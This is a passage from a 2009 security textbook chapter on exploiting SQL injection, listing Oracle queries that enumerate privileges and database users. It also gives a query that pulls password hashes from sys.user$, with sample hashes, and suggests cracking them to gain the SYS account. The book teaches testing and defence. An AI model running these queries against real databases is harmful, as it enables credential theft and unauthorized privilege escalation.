SQL Injection Attacks and Defense - 2009

182 Chapter 4 • Exploiting SQL Injection
To get the list of all possible privileges you must replace the user string in the preceding
queries with all, as follows.
To get all system privileges:
select * from all_sys_privs;
To get all role privileges:
select * from all_role_privs;
To get all table privileges:
select * from all_tab_privs;
To get all column privileges:
select * from all_col_privs;
Now that you have a listing of the database schema and some information about your
current user, you may be interested in enumerating other information in the database,
such as a list of all of the users in the database. The following query returns a list of all users
in the database. This query has the advantage that, by default, it can be executed by any
user of the database.
select username,created from all_users order by created desc;
SCOTT
04–JAN–09
PHP
04–JAN–09
PLSQL
02–JAN–09
MONODEMO
29–DEC–08
DEMO1
29–DEC–08
ALEX
14–DEC–08
OWBSYS
13–DEC–08
FLOWS_030000
13–DEC–08
APEX_PUBLIC_USER
13–DEC–08
You can query additional items as well, depending on the version of the database in use.
For example, an unprivileged user in versions up to Oracle 10g Rel. 2 can retrieve the
database usernames and password hashes with the following SELECT statement:
SELECT name, password, astatus FROM sys.user$ where type#>0 and
length(password)=16 (priv), astatus (0= open, 9= locked&expired)
SYS AD24A888FC3B1BE7 0
SYSTEM BD3D49AD69E3FA34 0
OUTLN 4A3BA55E08595C81 9
You can test or crack the password hashes with publicly available tools, possibly allowing
you to obtain credentials for a privileged database account such as SYS. In Oracle 11g,
Oracle has changed the password hashing algorithm in use, and the password hash is now
located in a different column—spare4, as follows: